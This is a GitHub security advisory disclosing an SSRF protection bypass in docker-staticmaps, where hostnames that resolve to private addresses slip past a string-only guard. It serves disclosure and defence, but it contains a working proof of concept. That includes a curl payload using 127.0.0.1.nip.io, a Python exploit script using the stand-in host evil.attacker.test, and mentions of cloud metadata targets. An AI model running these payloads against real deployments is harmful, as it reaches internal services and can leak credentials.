Skip to content

SSRF Protection Bypass via DNS-Resolved Private Addresses in docker-staticmaps

High
dietrichmax published GHSA-hm5x-363q-6q2p Aug 1, 2026

Software

dietrichmax/docker-staticmaps

Affected versions

<= v0.10.3

Patched versions

0.11.0

Description

SSRF Protection Bypass via DNS-Resolved Private Addresses in docker-staticmaps

Summary

docker-staticmaps accepts a user-controlled tileUrl (and marker img) parameter on its default, unauthenticated /api/staticmaps endpoint and fetches it server-side to render map tiles/markers. The SSRF guard (isPrivateUrl() in src/utils/security.ts) only string-matches the URL's hostname against literal IPv4/IPv6 addresses and a short deny-list (localhost, .local, .internal, …); it never performs a DNS lookup before the outbound fetch(). An attacker who controls a hostname that resolves to a private/loopback/link-local address (e.g. 127.0.0.1.nip.io, or any attacker-controlled DNS record pointed at an internal IP) can bypass the filter entirely and force the server to make GET requests to internal-only HTTP services, with the response content reflected back through the rendered map image. This is a full Server-Side Request Forgery (SSRF) protection bypass, reachable by default with no authentication when API_KEY is unset, and is rated High severity (CVSS 3.1: 7.2).

Details

The vulnerable data flow is:

  1. src/routes/staticmaps.routes.ts:29router.get("/", asyncHandler(handleMapRequest)) (also POST) is mounted with no authentication middleware when API_KEY is unset (src/middlewares/authConfig.ts:31-32, src/middlewares/apiKeyAuth.ts:23-28).
  2. src/controllers/staticmaps.controller.ts:50-53const params = req.method === "GET" ? req.query : req.body is passed unmodified to getMapParams(params).
  3. src/generate/generateParams.ts:171getTileUrl(params.tileUrl, params.basemap) forwards the raw user-supplied tileUrl.
  4. src/generate/parseTileConfig.ts:17-22:
    const testUrl = replacePlaceholders(customUrl)
    if (isPrivateUrl(testUrl)) {
      logger.error(`Blocked private/internal tile URL: ${customUrl}`)
      return { url: "", attribution: "" }
    }
    return { url: customUrl, attribution: "" }
    If isPrivateUrl() returns false, the raw customUrl is returned as-is.
  5. src/utils/security.ts:14-46isPrivateUrl() only inspects the URL's hostname as a string: it strips IPv6 brackets, checks for exact matches such as localhost, checks whether the hostname parses as a literal IPv4/IPv6 address (isPrivateIpv4), and checks suffixes like .local/.internal. A hostname such as 127.0.0.1.nip.io (a wildcard DNS service that resolves any A.B.C.D.nip.io subdomain to A.B.C.D) or an attacker-registered domain pointed at a private IP is none of these — the function falls through to return false at line 46, i.e. "not private," with no DNS resolution ever performed.
  6. src/staticmaps/renderer.ts:125 queues the resulting tile URL.
  7. src/staticmaps/tilemanager.ts:86 performs the actual server-side request: const res = await fetch(data.url, { redirect: "manual", ... }), then reads and forwards the response body/content-type (lines 102, 112).

A second, structurally identical sink exists for marker icons: src/generate/generateParams.ts:102-103 accepts a marker img URL, src/featureAdapters/addMarkers.ts:40-43 passes it to IconMarker, and src/staticmaps/renderer.ts:466-474 calls isSafeOutboundUrl(icon.file) (the same string-only check, exported from security.ts) before calling fetch(icon.file, ...).

Because the check operates purely on the literal hostname string and never resolves DNS, any of the following bypass it while still landing on a private IP at request time:

  • Public wildcard-DNS-to-IP services (127.0.0.1.nip.io, sslip.io, etc.)
  • Attacker-registered domains with an A/AAAA record pointing at 127.0.0.1, 169.254.169.254, RFC1918 ranges, etc.
  • DNS rebinding (a domain that resolves to a public IP at validation time and a private IP at fetch time) — noted as a residual risk even after patching, since the fetch and the DNS check are not atomic.

The application's redirect: "manual" setting and content-type checks in tilemanager.ts reduce follow-on abuse (e.g. redirect-based bypass) but do nothing to prevent the initial DNS-resolution bypass.

PoC

Environment: docker-staticmaps v0.10.1 / main 002d6a836d5a0cfea1c2adcc454a093977c232c8, Node.js >= 20, default configuration (no API_KEY set).

Local reproduction (source build):

npm ci
npm run build
PORT=3000 node dist/server.cjs

Start an internal-only HTTP service bound to loopback, standing in for any internal service an operator might run alongside the container:

node -e "const http=require('http'); const png=Buffer.from('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+/p9sAAAAASUVORK5CYII=','base64'); http.createServer((req,res)=>{ console.log('INTERNAL_HIT '+req.method+' '+req.url); res.writeHead(200, {'Content-Type':'image/png','Content-Length':png.length}); res.end(png); }).listen(4567,'127.0.0.1'); setInterval(()=>{},1000);"

Trigger the SSRF via a DNS-resolvable hostname that points at the internal loopback service:

curl --globoff -sS -o /tmp/docker-staticmaps-ssrf.png \
  -w 'status=%{http_code} content_type=%{content_type} size=%{size_download}\n' \
  'http://127.0.0.1:3000/api/staticmaps?width=256&height=256&center=0,0&zoom=1&attribution=false&tileUrl=http://127.0.0.1.nip.io:4567/{z}/{x}/{y}.png?v=2'

Expected/observed result:

status=200 content_type=image/png size=192

The internal-only server logs 4 hits (one per tile requested for the given zoom/center):

INTERNAL_HIT GET /1/0/0.png?v=2
INTERNAL_HIT GET /1/0/1.png?v=2
INTERNAL_HIT GET /1/1/0.png?v=2
INTERNAL_HIT GET /1/1/1.png?v=2

A negative control confirms the guard does fire for a literal loopback IP (tileUrl=http://127.0.0.1:4567/...), logging Blocked private/internal tile URL: ... and producing zero INTERNAL_HIT lines — demonstrating the bypass is specific to DNS-resolved hostnames, not a broken guard entirely.

Containerized reproduction: The same behavior was independently reproduced from an unmodified build of the repository (vuln-001/Dockerfile, vuln-001/poc.py in this report bundle), using docker run --add-host=evil.attacker.test:127.0.0.1 to simulate attacker-controlled DNS resolving evil.attacker.test to the loopback address of the internal-only service (never published to the host). poc.py performs three checks: (1) confirms the internal port is not reachable from the Docker host directly, (2) confirms a literal private IP in tileUrl is blocked (negative control), and (3) confirms the DNS-resolved hostname bypasses the filter, returning status=200, content-type=image/png, size=192, with 4 INTERNAL_HIT lines in the container log — reproduced deterministically across repeated runs with unique nonces, without any modification to application source.

Marker variant: The same bypass is reachable via a JSON POST body supplying a marker img URL that resolves to a private address, landing in src/staticmaps/renderer.ts:466-474.

Impact

This is a Server-Side Request Forgery (CWE-918) protection bypass. An unauthenticated remote attacker (default install, no API_KEY configured) can force the docker-staticmaps server to issue arbitrary GET requests to hosts on internal/loopback networks that are otherwise unreachable from outside the container/host, including:

  • Cloud instance metadata services (e.g. 169.254.169.254) if similarly reachable via a resolvable hostname, potentially leaking credentials.
  • Internal HTTP services, admin panels, or other containers on the same Docker network or private network segment.
  • Any service whose response is image/* content is reflected back to the attacker in the rendered map tile/marker; non-image responses still cause a side-effecting internal request even if not reflected (blind SSRF).

Anyone operating a default/keyless deployment of docker-staticmaps reachable from an untrusted network (including the public internet, given this is a public-facing map-tile rendering API) is impacted. Confidentiality and integrity impact are limited (scored Low/Low) since the response is constrained to image content passed through the rendering pipeline, but the scope change (S:C) and network/no-auth/no-interaction preconditions push the base score into the High range.

Reproduction artifacts

Dockerfile

# VULN-001 dynamic reproduction image for docker-staticmaps (CWE-918 SSRF).
#
# Build context MUST be the parent directory that contains both `repo/`
# (unmodified clone of dietrichmax/docker-staticmaps) and `vuln-001/`
# (this Dockerfile plus the internal-only test service used to observe the
# SSRF). The application source under `repo/` is copied as-is and is never
# patched to make the finding reproduce.
#
# Example:
#   docker build -f vuln-001/Dockerfile -t docker-staticmaps-vuln001 .
#   (run from .../github_web_1103_dietrichmax__docker-staticmaps)

# -------- Stage 1: Build --------
FROM node:20-alpine AS build

WORKDIR /opt/app

COPY repo/package*.json ./
RUN npm ci

COPY repo/. .
RUN npm run build

RUN npm prune --omit=dev && npm cache clean --force

# -------- Stage 2: Final --------
FROM node:20-alpine AS final

RUN apk add --no-cache fontconfig font-liberation

WORKDIR /opt/app

COPY --from=build /opt/app/dist ./dist
COPY --from=build /opt/app/public ./public
COPY --from=build /opt/app/package*.json ./
COPY --from=build /opt/app/node_modules ./node_modules

# Internal-only test service used purely to observe SSRF reachability.
# It is unmodified application logic's counterpart: a stand-in for any
# internal HTTP service an operator might run alongside docker-staticmaps.
COPY vuln-001/internal-server.cjs ./internal-server.cjs
COPY vuln-001/entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh

RUN addgroup -S appgroup && adduser -S appuser -G appgroup && \
    chown -R appuser:appgroup /opt/app
USER appuser

ENV NODE_ENV=production
# No API_KEY is set here on purpose: this reproduces the project's documented
# default (keyless) mode described in the analyzer report, not a weakened
# configuration invented for this test.

EXPOSE 3000
# NOTE: port 4567 (the internal-only service) is intentionally NOT exposed
# and must never be published with `-p` when running this image, so the
# PoC can prove it is unreachable directly from the Docker host.

HEALTHCHECK --interval=30s --timeout=5s --retries=3 --start-period=30s \
  CMD wget --no-verbose --tries=1 -O - http://127.0.0.1:3000/health || exit 1

ENTRYPOINT ["/entrypoint.sh"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: SSRF protection bypass via DNS-resolved private addresses
in docker-staticmaps (CWE-918, src/utils/security.ts isPrivateUrl()).

isPrivateUrl() only string-matches the URL's hostname against literal IPs
and a short deny-list (localhost, .local, .internal, ...). It never resolves
the hostname before the server-side fetch() in tilemanager.ts. This script
proves that an attacker-controlled hostname which *resolves* to a private
address (here, via Docker's --add-host, simulating attacker-controlled DNS)
reaches an internal-only HTTP service that is never published to the host.

Usage:
    python3 poc.py [--base-url http://127.0.0.1:3000]
                    [--container docker-staticmaps-vuln001]
                    [--attacker-host evil.attacker.test]
                    [--internal-port 4567]

Exit code 0 = SSRF reproduced with deterministic evidence.
Exit code 1 = not reproduced / inconclusive.
"""

import argparse
import json
import socket
import subprocess
import sys
import time
import urllib.request
import urllib.error


def http_get(url, timeout=15):
    req = urllib.request.Request(url, method="GET")
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            body = resp.read()
            return resp.status, dict(resp.headers), body
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers or {}), e.read()


def docker_logs(container):
    result = subprocess.run(
        ["docker", "logs", container],
        capture_output=True,
        text=True,
        timeout=15,
    )
    return result.stdout + result.stderr


def count_internal_hits(log_text):
    return [line for line in log_text.splitlines() if "INTERNAL_HIT" in line]


def main():
    ap = argparse.ArgumentParser(description=__doc__)
    ap.add_argument("--base-url", default="http://127.0.0.1:3000")
    ap.add_argument("--container", default="docker-staticmaps-vuln001")
    ap.add_argument("--attacker-host", default="evil.attacker.test")
    ap.add_argument("--internal-port", type=int, default=4567)
    args = ap.parse_args()

    # createCacheKeyFromRequest() in src/utils/cache.ts hashes the whole
    # sorted query string and serves cached responses without re-fetching
    # tiles. A nonce per run keeps each invocation of this PoC independent
    # of any cache state left over by a previous run.
    nonce = str(time.time_ns())

    result = {
        "step_1_internal_service_not_host_reachable": None,
        "step_2_literal_ip_is_blocked": None,
        "step_3_ssrf_via_dns_resolved_hostname": None,
        "verdict": "FAIL",
    }

    # --- Step 1: confirm the internal-only service is NOT reachable from the
    # Docker host directly (its port is never published with -p). This
    # establishes that any hit we later observe in the container logs can
    # only come from a server-side request made *inside* the container.
    print("[*] Step 1: confirming internal-only service is not host-reachable")
    try:
        with socket.create_connection(("127.0.0.1", args.internal_port), timeout=2):
            reachable = True
    except OSError:
        reachable = False
    result["step_1_internal_service_not_host_reachable"] = not reachable
    print(f"    host->127.0.0.1:{args.internal_port} reachable = {reachable}")
    if reachable:
        print("    UNEXPECTED: internal port is reachable from host; environment is misconfigured")

    # --- Step 2: negative control. A literal loopback IP in tileUrl must be
    # blocked by isPrivateUrl() (this is the code path the app *does* defend).
    print("[*] Step 2: negative control with literal private IP in tileUrl")
    logs_before = docker_logs(args.container)
    hits_before = len(count_internal_hits(logs_before))

    literal_url = (
        f"{args.base_url}/api/staticmaps"
        f"?width=256&height=256&center=0,0&zoom=1&attribution=false"
        f"&tileUrl=http://127.0.0.1:{args.internal_port}/{{z}}/{{x}}/{{y}}.png"
        f"&poc_nonce=control-{nonce}"
    )
    status, headers, body = http_get(literal_url)
    print(f"    status={status} content-type={headers.get('Content-Type')} size={len(body)}")

    logs_after_control = docker_logs(args.container)
    hits_after_control = len(count_internal_hits(logs_after_control))
    control_hits = hits_after_control - hits_before
    print(f"    INTERNAL_HIT lines produced by literal-IP request: {control_hits}")
    result["step_2_literal_ip_is_blocked"] = control_hits == 0

    # --- Step 3: the exploit. attacker-controlled hostname that RESOLVES to
    # 127.0.0.1 (via Docker --add-host, standing in for attacker-controlled
    # DNS) is not string-matched by isPrivateUrl() and is fetched server-side.
    print("[*] Step 3: SSRF via DNS-resolved hostname")
    exploit_url = (
        f"{args.base_url}/api/staticmaps"
        f"?width=256&height=256&center=0,0&zoom=1&attribution=false"
        f"&tileUrl=http://{args.attacker_host}:{args.internal_port}/{{z}}/{{x}}/{{y}}.png?v={nonce}"
        f"&poc_nonce=exploit-{nonce}"
    )
    status, headers, body = http_get(exploit_url)
    content_type = headers.get("Content-Type")
    print(f"    status={status} content-type={content_type} size={len(body)}")

    logs_after_exploit = docker_logs(args.container)
    exploit_hit_lines = count_internal_hits(logs_after_exploit)[hits_after_control:]
    print(f"    INTERNAL_HIT lines produced by exploit request: {len(exploit_hit_lines)}")
    for line in exploit_hit_lines:
        print(f"      {line}")

    exploited = (
        status == 200
        and content_type is not None
        and content_type.startswith("image/")
        and len(exploit_hit_lines) > 0
    )
    result["step_3_ssrf_via_dns_resolved_hostname"] = exploited

    if (
        result["step_1_internal_service_not_host_reachable"]
        and result["step_2_literal_ip_is_blocked"]
        and result["step_3_ssrf_via_dns_resolved_hostname"]
    ):
        result["verdict"] = "PASS"

    print("\n[RESULT]")
    print(json.dumps(result, indent=2))

    sys.exit(0 if result["verdict"] == "PASS" else 1)


if __name__ == "__main__":
    main()

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

CVE ID

No known CVE

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits